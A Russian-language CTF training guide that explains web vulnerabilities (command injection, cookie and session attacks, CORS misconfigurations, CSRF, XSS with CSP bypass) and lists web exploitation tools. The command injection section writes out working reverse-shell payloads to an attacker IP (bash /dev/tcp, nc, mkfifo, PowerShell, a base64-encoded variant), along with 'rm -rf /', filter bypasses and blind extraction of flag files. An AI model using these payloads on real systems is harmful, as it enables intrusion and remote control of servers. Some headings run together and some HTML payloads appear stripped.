Веб
Command Injection и OS Command Injection
Command Injection (или OS Command Injection) — это когда ты вставляешь свою команду в поле ввода (пинг, whois, конвертер файлов), и сервер выполняет её в своей операционной системе от имени приложения. Вместо безобидного «ping google.com» сервер может выполнить «ping google.com; rm -rf /» или запустить обратную оболочку. В CTF эта тема относится в первую очередь к категории Web (иногда Pwn или Misc). Чаще всего встречается в задачах, где нужно получить удалённый доступ к серверу, прочитать флаг из /flag.txt или запустить reverse shell, чтобы осмотреть файловую систему. Новичку важно понять command injection, потому что это один из самых «вкусных» способов получить shell в CTF. Зная базовые payloads и обход фильтров, ты часто за 5–20 минут превращаешь простое поле ввода в полноценный доступ к машине.
Словарь терминов
Command Injection
Вставка своей команды в системный вызов сервера
OS Command Injection
То же самое, но конкретно выполнение в оболочке ОС
Reverse shell
Обратная оболочка: сервер подключается к твоей машине
Bypass фильтров
Способы обойти запреты на символы ;
&&
Выполняет вторую команду, только если первая удалась
;
Разделяет команды — выполняет вторую всегда
`
Выполняет команду внутри и подставляет результат
$()
Современный способ выполнить команду и подставить результат
nohup
Запускает команду, чтобы она не умирала при закрытии терминала
IFS
Переменная, разделяющая слова в команде (можно переопределить)
Blind injection
Нет вывода результата, но можно угадывать по поведению
Time-based
Угадывание по задержке выполнения команды
Простые инъекции, bypass фильтров (&&, ;, |, `, $())
Самый простой случай: сервер делает систему вроде ping $input. Ты вводишь 8.8.8.8; ls → сервер выполнит ping и потом ls.
Основные разделители команд:
; — выполняет следующую команду всегда
&& — выполняет следующую, только если предыдущая удалась
|| — выполняет следующую, только если предыдущая провалилась
| — передаёт вывод первой команды во вторую
Если фильтр блокирует ; — пробуй &&, ||, whoami, $(whoami), ${PATH:0:1} — разные способы обойти.
Bypass часто делают через пробелы: ${IFS} вместо пробела (IFS — Internal Field Separator), %09 (табуляция), %0a (перенос строки).
В CTF простые инъекции — классика beginner/medium.
На практике: начинай с ;id или &&id — если увидишь uid=33(www-data) — инъекция есть. Если блокирует ; — пробуй |id, &&id, $(id), ${IFS}id.
Reverse shell payloads, nohup, base64, IFS bypass
Reverse shell — ты запускаешь на своей машине слушатель (nc -lvnp 4444), а на сервере команду, которая подключается к тебе обратно.
Популярные payloads (Linux):
bash -i >& /dev/tcp/твой_ip/4444 0>&1
nc -e /bin/sh твой_ip 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc твой_ip 4444 >/tmp/f
Если нет nc — используй python, perl, php reverse shells.
nohup — запускает команду в фоне, чтобы она не умирала: nohup bash -i >& /dev/tcp/... &
base64 — если фильтр блокирует много символов, кодируешь payload в base64 и выполняешь: echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE6NDQ0NCAwPiYx|base64 -d|bash
IFS bypass — export IFS=',';cat</etc/passwd → заменяет пробелы на запятую.
В CTF reverse shell — главная цель почти всех command injection. На практике: запускаешь nc на своей машине → вставляешь payload с твоим IP и портом → получаешь shell → cat /flag.txt или ls /.
Windows vs Linux payloads
Linux и Windows используют разные команды и оболочки.
Linux (bash/sh):
whoami, id, uname -a
cat /flag.txt, find / -name flag.txt 2>/dev/null
reverse: bash -i >& /dev/tcp/...
Windows (cmd.exe или powershell):
whoami, systeminfo, type flag.txt
dir c:, findstr /si flag *.txt
reverse (powershell): powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('твой_ip',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
В CTF нужно понять ОС: uname -a или systeminfo часто дают подсказку. На практике: сначала пробуй ;whoami — если linux — получаешь www-data, если windows — nt authority\system или username. Потом подбираешь нужный payload.
Blind command injection и time-based атаки
Blind — когда сервер не показывает вывод команды, но ты можешь судить по поведению.
Time-based: вставляешь sleep 5 или ping -n 6 127.0.0.1 (windows) — если ответ приходит через 5 секунд — команда выполнилась.
Boolean blind: если команда верна — страница одна, если нет — другая (например, ping google.com && sleep 5).
Можно посимвольно угадывать содержимое файлов: ping -c 1 google.com && [ $(cat /flag.txt | cut -c1) = f ] && sleep 5
В CTF blind встречается, когда фильтры блокируют вывод, но задержки проходят. На практике: если id не выводит ничего — пробуй ;sleep 10 — задержка = работает. Потом угадывай флаг посимвольно или запускай reverse shell с задержкой (nohup bash ... & sleep 1).
Главное запомнить: command injection — выполнение системных команд через пользовательский ввод. Разделители — ; && || | $(). Лучшая цель — reverse shell. Linux и Windows требуют разных payloads. Blind/time-based спасают, когда вывода нет. Ключевые термины для запоминания: Command Injection, reverse shell, &&, ;, |,, $(), nohup, base64, IFS bypass, blind injection, time-based, Windows payloads.
Эти знания помогут тебе в большинстве задач на RCE: быстро проверить поле на инъекцию, обойти фильтр разделителями, получить shell через reverse payload, вытащить флаг даже без вывода через time-based — вместо того чтобы тратить часы на другие векторы. С таким набором ты уже уверенно решаешь beginner и medium command injection задачи.
Cookies и сессии
Cookies и сессии — это способы, которыми сайт помнит, кто ты, когда ты заходишь снова или переходишь по страницам. Cookie — маленький кусочек текста, который браузер хранит и отправляет сайту с каждым запросом. Сессия — это "временный пропуск" на сайте, чтобы не заставлять тебя вводить логин и пароль на каждой странице. В CTF эта тема относится в первую очередь к категории Web. Чаще всего встречается в задачах на авторизацию, обход логина, кражу флага из админки или манипуляцию чужой сессией. Новичку важно понять cookies и сессии, потому что в 70–80% web-задач флаг лежит за правильной кукой или сессией. Зная, как они работают и где ломаются, ты быстро находишь уязвимости и обходишь защиту, вместо того чтобы бесконечно перебирать пароли.
Словарь терминов
Cookie
Маленький текст, который сайт просит браузер сохранить и присылать обратно
Session ID
Уникальный номер, по которому сервер понимает, кто ты
Secure
Куки отправляется только по HTTPS, не по обычному HTTP
HttpOnly
Куки нельзя прочитать через JavaScript
SameSite
Ограничивает, когда куки отправляется при переходе с другого сайта
Domain
Для какого домена действует куки (site.com или .site.com)
Path
Для каких путей на сайте куки отправляется (/admin, / и т.д.)
Expires/Max-Age
Когда куки истекает и удаляется из браузера
Session fixation
Атака, когда злоумышленник навязывает тебе свою сессию
Session hijacking
Кража чужой сессии, чтобы войти под чужим аккаунтом
Cookie tossing
Подсовывание лишних кук с одинаковым именем, но разными путями
Token-based
Сессия хранится в токене (JWT), а не на сервере
Cookie-based
Сессия хранится на сервере, а клиенту дают только ID
Атрибуты cookie: Secure, HttpOnly, SameSite, Domain, Path, Expires/Max-Age
Каждая куки может иметь флаги — настройки, которые делают её безопаснее или ограничивают использование.
Secure — куки отправляется только если соединение HTTPS. Без этого флага куки утечёт по обычному HTTP.
HttpOnly — JavaScript не может прочитать эту куки (document.cookie её не увидит). Защищает от XSS-кражи сессии.
SameSite — три варианта: Strict (куки только с того же сайта), Lax (разрешает GET-переходы), None (разрешает всё, но требует Secure). Защищает от CSRF.
Domain — куки действует на site.com и поддомены (.site.com) или только на точный домен.
Path — куки отправляется только на указанный путь (/admin) или на все (/).
Expires или Max-Age — дата или время жизни куки. После истечения браузер её удаляет.
В CTF эти атрибуты — ключ к обходу защиты. На практике: если куки без Secure — можно перехватить по HTTP. Без HttpOnly — украсть через XSS. SameSite=Lax или None — можно использовать в CSRF. Если Path=/admin, а у тебя куки на / — иногда можно подсунуть свою куки с более широким путём (cookie tossing).
Механизмы сессий (session ID, cookie-based, token-based)
Сайт не хочет каждый раз спрашивать логин — поэтому после входа он создаёт сессию.
Cookie-based (самый частый): сервер придумывает случайный session ID, сохраняет его у себя (в базе или файле) вместе с данными пользователя (кто ты, права), а тебе отдаёт session ID в куки. При следующих запросах ты присылаешь ID — сервер смотрит, что это за пользователь.
Token-based (часто JWT): вместо хранения на сервере вся информация (логин, роль, срок) шифруется/подписывается и кладётся в токен. Токен лежит в куки или в заголовке. Сервер только проверяет подпись и срок.
В CTF cookie-based встречается чаще в простых задачах, token-based — в более сложных. На практике: если видишь куки вроде PHPSESSID, session, sid — это классическая сессия на сервере. Если JWT (длинная строка с точками: header.payload.signature) — токен. Меняй значения, декодируй, увеличивай права, удаляй подпись — часто флаг за этим.
Session fixation, session hijacking, cookie tossing
Session fixation — атака, когда злоумышленник сначала получает session ID (например, через ссылку), потом заставляет жертву использовать именно этот ID. После входа жертвы злоумышленник заходит под тем же ID и получает её сессию.
Session hijacking — кража уже активной сессии: угадывание ID, перехват куки (через XSS, MITM, если нет Secure), подмена куки.
Cookie tossing — когда на одном домене несколько путей (/ и /admin), злоумышленник подсовывает куки с именем session, но Path=/, чтобы она перебила настоящую куки с Path=/admin.
В CTF это классические уязвимости для получения админ-сессии или флага. На практике: если session ID предсказуемый или короткий — пробуй угадать/перебрать. Если нет HttpOnly/Secure — XSS или HTTP-перехват. Cookie tossing — создавай куки с тем же именем, но Path=/ и нужным значением.
Secure cookie flags и защита от кражи сессий
Самые важные флаги для защиты: Secure + HttpOnly + SameSite=Strict (или Lax). Без Secure — сессия крадётся по HTTP. Без HttpOnly — крадётся через XSS. Без SameSite — через CSRF можно заставить браузер отправить куки на запрос с другого сайта.
Дополнительно: короткий срок жизни куки (Expires/Max-Age), случайный и длинный session ID, регенерация ID после логина (чтобы fixation не работал), проверка IP/User-Agent (редко, но бывает).
В CTF отсутствие хотя бы одного флага — почти всегда уязвимость. На практике: смотри, какие флаги стоят на сессионной куки. Если нет HttpOnly — ищи XSS. Нет Secure — пробуй HTTP-версию сайта. Нет SameSite — делай CSRF-запрос. Если флаги есть, но сессия всё равно крадётся — ищи обход через поддомены, cookie tossing или слабый токен.
Главное запомнить: cookies — это способ хранить session ID или токен, флаги Secure/HttpOnly/SameSite сильно влияют на безопасность. Сессии бывают на сервере (cookie-based) или в токене (token-based). Уязвимости — fixation, hijacking, tossing — возникают из-за слабых ID, отсутствия флагов и предсказуемости. Ключевые термины для запоминания: Secure, HttpOnly, SameSite, session ID, cookie-based, token-based, JWT, session fixation, session hijacking, cookie tossing, Path, Domain. Эти знания помогут тебе в большинстве web-задач: понять, почему ты не админ (нет нужной куки), украсть сессию через XSS/CSRF, подменить токен, обойти логин изменением значения куки — и быстро добраться до флага вместо долгого brute-force или слепого угадывания. С таким подходом beginner и medium web-задачи решаются в разы быстрее.
CORS и Same-Origin Policy
Same-Origin Policy (SOP) — это главное правило безопасности в браузере: страница с одного сайта не может читать данные с другого сайта без разрешения. CORS (Cross-Origin Resource Sharing) — это механизм, который позволяет сайту сказать браузеру: «Разрешаю этому чужому сайту читать мои данные». В CTF эта тема относится в первую очередь к категории Web. Чаще всего встречается в задачах на кражу данных между сайтами, доступ к API админа, чтение флага с внутреннего сервиса или эксплуатацию XSS через CORS. Новичку важно понять CORS и SOP, потому что это одна из самых частых уязвимостей в современных web-задачах. Зная, как работает разрешение и где допускают ошибки, ты быстро находишь места, откуда можно украсть куки, токены или секретный ответ сервера.
Словарь терминов
Same-Origin Policy
Правило браузера: чужой сайт не может читать данные с моего
CORS
Способ, которым сервер разрешает чтение данных с другого сайта
Access-Control-Allow-Origin
Заголовок, который говорит, кому можно читать ответ
Access-Control-Allow-Methods
Какие методы (GET, POST и т.д.) разрешены с другого сайта
Access-Control-Allow-Headers
Какие заголовки можно отправлять в запросе с другого сайта
Access-Control-Allow-Credentials
Разрешает отправлять куки и авторизацию в кросс-доменный запрос
Preflight-запрос
OPTIONS-запрос перед настоящим, проверяет, можно ли делать запрос
Credentialed requests
Запросы с куками, логином или токеном авторизации
Wildcard *
Разрешение всем сайтам (Access-Control-Allow-Origin: *)
Null origin
Разрешение для страниц без origin (data:, file: и т.д.)
JSONP
Старый способ обходить SOP через script тег
postMessage
Способ общения между окнами/iframe разных доменов
document.domain
Старый способ ослабить SOP для поддоменов
Access-Control-Allow-Origin, Allow-Methods, Allow-Headers, credentialed requests
CORS работает через специальные заголовки в ответе сервера.
Access-Control-Allow-Origin — главный заголовок. Если он говорит Access-Control-Allow-Origin: https://evil.com — значит, страница на evil.com может читать ответ. Если *, то любой сайт. Если заголовка нет — браузер блокирует чтение.
Access-Control-Allow-Methods — перечисляет разрешённые методы: GET, POST, PUT и т.д. Access-Control-Allow-Headers — какие нестандартные заголовки можно отправить (например, Authorization, X-Token).
Credentialed requests — когда в запросе есть куки, логин или токен (withCredentials = true). Для таких запросов сервер должен явно указать Access-Control-Allow-Credentials: true и конкретный origin (не *).
В CTF неправильная настройка этих заголовков — самая частая дыра. На практике: если видишь Access-Control-Allow-Origin: * — можно сделать fetch с любого сайта и прочитать ответ (часто секретный API). Если Allow-Credentials: true + конкретный origin — можно украсть куки админа с доверенного сайта через XSS.
Preflight-запросы и их эксплуатация
Preflight — это предварительный запрос OPTIONS, который браузер отправляет перед «опасным» запросом (POST с кастомными заголовками, PUT, DELETE и т.д.). Браузер спрашивает: «Можно ли с origin evil.com делать POST с заголовком X-My-Token?». Сервер отвечает заголовками Allow-Methods, Allow-Headers, Allow-Origin.
Если сервер разрешает — браузер отправляет настоящий запрос. Если нет — блокирует.
Эксплуатация: часто сервер отвечает на OPTIONS слишком щедро (разрешает всё), но блокирует сам запрос. Или отвечает 200 на OPTIONS, даже если метод запрещён.
В CTF preflight часто используют, чтобы понять, какие методы и заголовки реально разрешены. На практике: если задача даёт CORS-уязвимость — попробуй отправить OPTIONS-запрос вручную → посмотри, что сервер разрешает → потом делай настоящий запрос с fetch или XMLHttpRequest и читай ответ.
Misconfigurations CORS (null origin, wildcard *)
Самые опасные ошибки конфигурации:
Access-Control-Allow-Origin: * — любой сайт может читать ответ. Часто сочетается с Allow-Credentials: true (ошибка, браузер такое блокирует).
Access-Control-Allow-Origin: null — разрешает страницам без origin (открытые data: URL, sandbox iframe, file://). Злоумышленник может открыть data:text/html с вредоносным кодом и читать ответ.
Динамический origin — сервер отражает Origin из запроса в Allow-Origin. Если Origin: https://evil.com — сервер отвечает тем же → разрешает.
Wildcard * с credentials — классическая ошибка, но браузер её блокирует. Зато null и reflected origin работают отлично.
В CTF это встречается в 60–70% CORS-задач. На практике: если Allow-Origin: * — просто делай fetch и читай секрет. Если null — создавай data: URL с JavaScript, который делает запрос. Если reflected — подставляй в Origin свой домен.
Same-Origin Policy обход через JSONP, postMessage, document.domain
SOP можно обойти старыми или специальными способами:
JSONP — сервер отдаёт данные в виде вызова функции: callback({"data": "secret"}). Злоумышленник вставляет script src="..." и читает данные через глобальную функцию.
postMessage — современный способ: окно или iframe отправляет сообщение другому окну через window.postMessage. Если получатель не проверяет origin — можно украсть данные.
document.domain — старый трюк для поддоменов: если оба сайта устанавливают document.domain = "example.com" — они становятся same-origin, даже если sub1.example.com и sub2.example.com.
В CTF эти обходы используют, когда CORS не настроен, но есть другие дыры. На практике: если видишь JSONP-подобный ответ (?callback=) — пробуй script с параметром callback=myfunc. postMessage — если есть iframe или popup, отправляй сообщение и слушай ответ. document.domain — редко, но если поддомены — устанавливай и читай друг друга.
Главное запомнить: Same-Origin Policy запрещает чтение данных между сайтами, CORS — единственный официальный способ разрешить. Самые частые уязвимости — wildcard *, null origin, reflected origin и credentialed запросы без проверки. Preflight защищает от опасных методов. Ключевые термины для запоминания: CORS, Same-Origin Policy, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, preflight, OPTIONS, null origin, wildcard *, reflected origin, JSONP, postMessage. Эти знания помогут тебе в большинстве web-задач на кражу данных: быстро понять, можно ли читать API с чужого сайта, создать вредоносную страницу для fetch, использовать null или reflected origin — и получить флаг, токен или секрет вместо долгого поиска XSS или других векторов. С таким подходом ты уже уверенно решаешь beginner и medium CORS-задачи.
Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) — это атака, когда злоумышленник обманом заставляет браузер жертвы выполнить нежелательное действие на доверенном сайте от её имени. Пока жертва авторизована, браузер автоматически отправляет куки с запросом, и действие (смена пароля, перевод денег, удаление аккаунта) происходит без ведома пользователя. В CTF эта тема относится в первую очередь к категории Web. Чаще всего CSRF встречается в задачах на изменение настроек аккаунта, получение флага из админ-панели, выполнение действия от имени другого пользователя или комбинированные атаки с XSS. Новичку важно понять CSRF, потому что это классическая уязвимость, которая часто сочетается с другими (XSS, open redirect). Зная, как работает защита и где её нет, ты быстро находишь места, где можно заставить жертву (или бота-админа) выполнить нужное действие и получить флаг.
Словарь терминов
CSRF
Атака, заставляющая браузер жертвы выполнить действие на сайте
CSRF-токен
Случайная строка, которую сервер требует в каждом изменяющем запросе
Double submit cookie
Защита: токен хранится и в куки, и в форме — сервер сравнивает
SameSite
Атрибут куки, ограничивающий отправку при переходе с другого сайта
Lax
SameSite=Lax: куки отправляется при обычных GET-переходах
Strict
SameSite=Strict: куки отправляется только с того же сайта
None
SameSite=None: куки отправляется всегда (требует Secure)
JSON CSRF
CSRF через JSON-запросы (часто без токена)
CORS + CSRF
Комбинация, когда CORS разрешает чтение, а CSRF — изменение
Login CSRF
Атака, заставляющая жертву войти под аккаунтом злоумышленника
Механизм CSRF, токены защиты, double submit cookie
Браузер автоматически прикрепляет все куки к запросам на сайт, если пользователь авторизован. Если на вредоносной странице стоит форма
с полями amount=1000&to=attacker — и жертва просто откроет эту страницу, браузер отправит запрос с куками жертвы → деньги уйдут.
Защита: CSRF-токен — уникальная случайная строка, которую сервер кладёт в скрытое поле формы . При отправке формы токен приходит обратно — сервер проверяет, что токен совпадает с тем, что он выдал пользователю.
Double submit cookie — вариация: токен кладут и в куки (csrf_token=abc123), и в форму. Сервер сравнивает значение из формы и из куки. Работает, потому что злоумышленник не может прочитать куки жертвы (если нет XSS).
В CTF отсутствие токена или слабая проверка — классика. На практике: смотри все формы, которые меняют данные (смена пароля, email, роль). Если нет скрытого поля с токеном или он предсказуемый — делай форму на своей странице, которая отправит запрос от имени жертвы.
SameSite cookie как защита (Lax/Strict/None)
SameSite — атрибут куки, который говорит браузеру, когда отправлять куки в кросс-сайтовые запросы.
Strict — куки отправляется только если запрос пришёл с того же сайта (самая сильная защита от CSRF).
Lax — куки отправляется при «безопасных» переходах (GET по , , но не при POST или iframe).
None — куки отправляется всегда (используется для кросс-доменных логинов, но требует Secure).
Большинство современных браузеров по умолчанию ставят Lax, если атрибут не указан.В CTF SameSite=Lax или Strict часто спасает от классического CSRF, но не от всех вариантов. На практике: если куки сессии без SameSite или SameSite=None — классический CSRF работает. Если Lax — пробуй GET-запросы (если действие можно сделать GET) или комбинируй с XSS. Если Strict — CSRF почти невозможен без XSS.JSON CSRF, CORS + CSRF комбинацииJSON CSRF — когда действие выполняется через JSON-запрос (fetch или XMLHttpRequest с Content-Type: application/json). Браузер не отправляет куки в preflight-запросах для некоторых случаев, но если сервер не проверяет токен — атака возможна.CORS + CSRF — опасная комбинация: если CORS разрешает чтение ответа (Access-Control-Allow-Origin: * или с credentials), злоумышленник может сначала прочитать CSRF-токен через fetch, а потом отправить изменяющий запрос с этим токеном.В CTF такие комбинации встречаются в medium/hard задачах, особенно если есть API на JSON и слабый CORS. На практике: если видишь JSON API без токена — пробуй POST с JSON от имени жертвы. Если CORS позволяет читать — сначала fetch'и токен, потом используй его в изменяющем запросе.Login CSRF и другие варианты атакLogin CSRF — злоумышленник заставляет жертву войти под своим (злоумышленника) аккаунтом. После этого жертва работает в аккаунте атакующего → атакующий видит все действия, куки или флаги.Другие варианты: logout CSRF (выкинуть жертву из системы), change email CSRF, delete account CSRF — всё, что меняет состояние без подтверждения.В CTF login CSRF часто используют, чтобы заставить бота-админа войти под твоим аккаунтом, а потом прочитать флаг из его панели. На практике: если форма логина не имеет CSRF-токена — делай форму, которая логинит жертву под твоим логином/паролем. Потом заставляешь бота открыть эту страницу — он логинится под тобой → читаешь флаг.Главное запомнить: CSRF использует автоматическую отправку кук браузером для выполнения действий от имени жертвы. Лучшая защита — CSRF-токен + SameSite=Lax/Strict. Без токена или с SameSite=None атака почти всегда работает. JSON и CORS могут усложнить, но часто дают новые векторы. Ключевые термины для запоминания: CSRF, CSRF-токен, double submit cookie, SameSite, Lax, Strict, None, JSON CSRF, CORS + CSRF, login CSRF. Эти знания помогут тебе в большинстве web-задач: быстро проверить формы на отсутствие токена, использовать GET-действия при Lax, заставить бота выполнить действие через login CSRF или простую форму — и получить флаг, вместо того чтобы искать сложные XSS или SQLi. С таким подходом ты уже уверенно решаешь beginner и medium CSRF-задачи.Cross-Site Scripting (XSS)Cross-Site Scripting (XSS) — это когда злоумышленник заставляет браузер жертвы выполнить вредоносный JavaScript-код на сайте. Код выполняется от имени сайта, поэтому может читать куки, токены, изменять страницу, отправлять запросы от лица пользователя. В CTF эта тема относится в первую очередь к категории Web. Чаще всего XSS встречается в задачах на кражу куки/токена, выполнение действий от имени админа, чтение флага из админ-панели или обход фильтров ввода. Новичку обязательно понять XSS, потому что это одна из самых частых и самых «вкусных» уязвимостей в web-CTF. Зная типы XSS и способы обхода защиты, ты сможешь превратить простое поле ввода в способ украсть сессию или прочитать секрет за 10–30 минут.Словарь терминовReflected, Stored, DOM-based, blind/self XSSReflected XSS — самый простой: ты отправляешь вредоносный код в параметре (поиск, id, сообщение об ошибке), сервер вставляет его в ответ без обработки → браузер выполняет. Пример: ?search=Stored XSS — код сохраняется в базе (комментарий, имя профиля, пост), потом показывается всем, кто открывает страницу. Самый опасный, потому что поражает всех посетителей.DOM-based XSS — сервер отдаёт чистый код, но JavaScript на странице берёт данные из URL/location и вставляет в DOM опасно (innerHTML, document.write). Сервер даже не видит payload.Blind XSS — код выполняется, но ты не видишь результат (в админ-логах, поддержке, модерации). Self XSS — код работает только у тебя, но организаторы иногда просят обмануть самого себя или бота.В CTF reflected и DOM-based — самые частые в beginner/medium. Stored — в задачах на форумы/гостевые книги. Blind — в админ-панелях. На практике: вставляй в каждое поле ввода → если появляется окошко — XSS есть. Если нет — пробуй разные контексты: атрибуты, теги, JS-блоки.Filter bypass, mutation XSS, polyglot payloadsФильтры часто вырезают script, alert, javascript: и т.д. Bypass — это способы обмануть такие фильтры.Mutation XSS — браузер сам меняет HTML (парсер превращает <svg/onload=alert(1)> в рабочий код). Polyglot payload — один и тот же код работает в разных местах: внутри тега, атрибута, скрипта, комментария.Примеры bypass: вместо script — , , javascript:alert(1) в href, eval(atob('...')) для обфускации.В CTF почти каждая задача на XSS требует хотя бы простого bypass. На практике: если script вырезается — пробуй onerror, onload,
, . Polyglot вроде jaVasCript:/-//*\/'/"/**/(/* */alert(1)) — часто пробивает несколько фильтров сразу.CSP bypass (unsafe-inline, unsafe-eval, nonce, strict-dynamic)CSP (Content-Security-Policy) — заголовок, который говорит браузеру: «скрипты только с этих доменов», «запрети inline-скрипты», «запрети eval».unsafe-inline — разрешает скрипты прямо в HTML → XSS работает как обычно.
unsafe-eval — разрешает eval(), setTimeout(string), Function() → можно обфусцировать payload.
nonce — сервер генерирует случайный nonce и добавляет в → только такие скрипты работают.
strict-dynamic — разрешает скрипты, которые загрузил доверенный скрипт (с nonce или hash).Bypass: если есть unsafe-inline — XSS обычный. Если nonce — крадём nonce через другую уязвимость (open redirect, JSONP). strict-dynamic — если можно внедрить <script src="..."> с доверенного домена — дальше можно всё.В CTF CSP-bypass — классика medium/hard задач.
На практике: читай CSP в заголовках → если unsafe-inline — радуйся. Если nonce — ищи утечку nonce (открытый /api/nonce). Если strict-dynamic — пробуй внедрить скрипт через JSONP или другой разрешённый источник.DOM Clobbering, prototype pollution в JavaScript
DOM Clobbering — когда ты внедряешь HTML-элементы с id/name, которые переопределяют глобальные переменные. Пример: — window теперь ссылка на этот элемент, а не объект window.
Prototype pollution — если код делает obj[prop] = value без проверки, а prop = proto.toString — можно изменить Object.prototype и сломать весь JavaScript (все объекты получат новое свойство).
В CTF это используется, чтобы сломать клиентскую валидацию, CSP (обход window.eval), анти-XSS библиотеки или логику приложения.
На практике: если видишь, что сайт использует window.something или obj.hasOwnProperty — пробуй clobbering через или <a id="something">. Для pollution — ищи места, где берут user input в ключи объектов (JSON.parse без очистки).
Главное запомнить: XSS — это выполнение JS на чужом сайте, типы — reflected/stored/DOM-based/blind. Фильтры обходятся тегами вроде onerror/onload/svg, CSP — unsafe-inline/nonce/strict-dynamic. DOM Clobbering и prototype pollution ломают клиентскую логику. Ключевые термины для запоминания: Reflected XSS, Stored XSS, DOM-based XSS, blind XSS, filter bypass, polyglot payload, CSP, unsafe-inline, nonce, strict-dynamic, DOM Clobbering, prototype pollution. Эти знания помогут тебе в 80% web-задач: найти XSS в поле ввода, обойти фильтр, украсть куки/токен через alert(document.cookie), сломать CSP или клиентскую защиту — и быстро получить флаг вместо долгого поиска других уязвимостей. С таким набором ты уже уверенно решаешь beginner и большинство medium XSS-задач.
Инструменты для веб-исследования и эксплуатации
Инструменты для веб-исследования и эксплуатации — это программы, которые помогают изучать сайт, находить скрытые страницы, проверять уязвимости и быстро эксплуатировать их. Они автоматизируют рутинную работу: сканирование директорий, перехват запросов, поиск инъекций, fuzzing параметров. В CTF эта тема относится в первую очередь к категории Web. Чаще всего такие инструменты используются в задачах на reconnaissance (разведка), brute-force скрытых путей, эксплуатацию SQLi/XSS/Command Injection/SSRF и быстрое нахождение точек входа. Новичку важно хотя бы знать, что делают эти инструменты и когда их включать, потому что вручную искать /admin, /backup или угадывать параметры — это часы работы, а с правильным инструментом — минуты. Понимание их возможностей сильно ускоряет решение почти всех web-задач.
Словарь терминов
Burp Suite
Программа-прокси для перехвата, изменения и повторения запросов
OWASP ZAP
Бесплатный аналог Burp с автоматическим сканером уязвимостей
sqlmap
Автоматически находит и эксплуатирует SQL-инъекции
ffuf
Очень быстрый инструмент для поиска скрытых директорий и файлов
dirsearch
Похож на ffuf, ищет директории по словарю
Nuclei
Сканирует сайт по готовым шаблонам уязвимостей (YAML)
feroxbuster
Rust-версия dirbuster, ищет файлы и директории рекурсивно
gobuster
Классический инструмент для brute-force директорий и DNS
whatweb
Определяет технологии сайта (CMS, сервер, фреймворки)
XSStrike
Продвинутый сканер и генератор payload'ов для XSS
tplmap
Находит и эксплуатирует Server-Side Template Injection
commix
Автоматически находит и эксплуатирует Command Injection
LFImap
Ищет и эксплуатирует Local File Inclusion
Postman
Программа для удобной работы с API (запросы, коллекции)
curl
Командная строка для отправки любых HTTP-запросов
Burp Suite, OWASP ZAP, sqlmap, ffuf, dirsearch
Burp Suite — главный инструмент веб-хакера. Ты ставишь его как прокси в браузере → все запросы проходят через Burp → можно их менять, повторять, отправлять в Intruder (для brute-force), Repeater (для ручных тестов) или Scanner (автоматический поиск дыр).
OWASP ZAP — бесплатная альтернатива Burp с похожими функциями + автоматический активный сканер (проверяет XSS, SQLi и т.д.).
sqlmap — когда нашёл подозрительное поле (id, search, login) — кидаешь туда sqlmap -u "http://site.com/page?id=1" → он сам проверяет все типы инъекций и вытаскивает базу, таблицы, данные.
ffuf и dirsearch — для поиска скрытых страниц: ffuf -u http://site.com/FUZZ -w wordlist.txt → перебирает тысячи директорий (/admin, /backup, /.git) за секунды.
В CTF эти инструменты — основа разведки и эксплуатации. На практике: открываешь Burp → ловишь запрос → меняешь параметры → если 200 вместо 403 — копаешь дальше. sqlmap — если подозреваешь SQLi. ffuf/dirsearch — всегда запускай на /FUZZ с хорошим словарем.
Nuclei, feroxbuster, gobuster, whatweb
Nuclei — мощный сканер: запускаешь nuclei -u http://site.com -t cves/ -t exposures/ → проверяет сотни готовых шаблонов (Log4Shell, Git exposed, .env, старые уязвимости).
feroxbuster и gobuster — как ffuf, но с разными особенностями: feroxbuster лучше работает с рекурсией и фильтрами, gobuster ещё делает DNS brute-force (vhost, subdomains).
whatweb — за секунду говорит, на чём сайт: Apache/2.4.41, WordPress 6.1, PHP 8.1, Laravel → сразу понимаешь, куда смотреть (плагины WP, известные дыры Laravel).
В CTF это инструменты быстрой разведки. На практике: whatweb site.com → видишь CMS → ищешь эксплойты. nuclei — запускаешь на все поддомены → часто находит .git, .env, старые CVE. feroxbuster/gobuster — если ffuf пропустил что-то.
XSStrike, tplmap, commix, LFImap
XSStrike — продвинутый XSS-сканер: сам генерирует сотни payload'ов, обходит WAF, ищет DOM XSS, reflected/stored.
tplmap — ищет Server-Side Template Injection (SSTI): Jinja2, Twig, Freemarker → если находит — часто даёт RCE.
commix — автомат для Command Injection: как sqlmap, но для os command → находит и даёт shell.
LFImap — для Local File Inclusion: читает /etc/passwd, ищет log poisoning, php://filter для чтения исходников.
В CTF это специализированные эксплойтеры. На практике: если подозреваешь XSS — кидаешь XSStrike. SSTI в шаблонах ({{7*7}}) — tplmap. Команда в ping/convert — commix. ../ в пути — LFImap.
Postman, curl, httpx, waybackurls, gau
Postman — удобный интерфейс для работы с API: сохраняешь запросы, коллекции, переменные, тестишь авторизацию, JSON.
curl — командная строка для любых запросов: curl -X POST -d "user=admin" http://site.com/login
httpx — проверяет, живые ли URL из списка: httpx -l urls.txt → быстро отсеивает мёртвые.
waybackurls и gau — вытаскивают все исторические URL сайта из архивов (Wayback Machine, Common Crawl) → часто находят старые /admin, /debug, забытые API.
В CTF это инструменты для разведки и ручной эксплуатации. На практике: gau site.com | httpx → получаешь тысячи старых путей → ffuf по ним. Postman — когда много API-запросов. curl — для быстрого теста заголовков, методов.
